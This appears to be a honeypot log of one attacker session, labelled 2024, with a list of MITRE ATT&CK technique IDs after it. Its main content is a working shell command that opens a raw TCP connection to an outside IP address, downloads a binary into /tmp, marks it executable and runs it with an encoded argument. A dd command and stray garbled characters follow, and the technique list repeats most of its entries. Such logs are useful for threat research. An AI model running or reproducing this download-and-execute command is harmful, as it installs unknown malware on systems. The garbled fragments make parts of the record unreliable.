Honeypot attack session (period 2024), commands issued:
nohup bash -c "exec 6<>/dev/tcp/37.27.13.173/60136 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/nY8Q1IRk5m && chmod +x /tmp/nY8Q1IRk5m && /tmp/nY8Q1IRk5m D9GTl5Sed2uXlYqO2Q4E15CIl5NlfYiXiJnPDw3QjoCSnHN1l5GBgNkQDNCZl5eVcmuTk4OW0Q8M1YCNkoh3dpCLiJbYEAzQmIOTlnR0lIWKl88MCc+RiouXcnack4mR0gge2Y6LlJ9rd5aWl5HZBwTXkIiXnmV9iJeImc8MDtCOipecc3WXlIyA2RAM0JmXlJR1a5eQg5bRDwrQgIGLlHd3iJeKkc8KBtuWiZSSdmWSkpeS0ggQ2ZWXlJB/c5aUipfBDw7SjoiVl2t0k5aXktYECNGRiZWGfWuUlICO0w8Gz5SDk5Z0dZXhaynuOvCGw1afV4mK3w4=" &
dd bs=1 count=1911588 > /tmp/cBOVQTCVl8
>D6@/XJ'8
nan

MITRE ATT&CK techniques observed:
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter
T1071 Application Layer Protocol
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1027 Obfuscated Files or Information
T1070 Indicator Removal
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter
T1071 Application Layer Protocol
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1027 Obfuscated Files or Information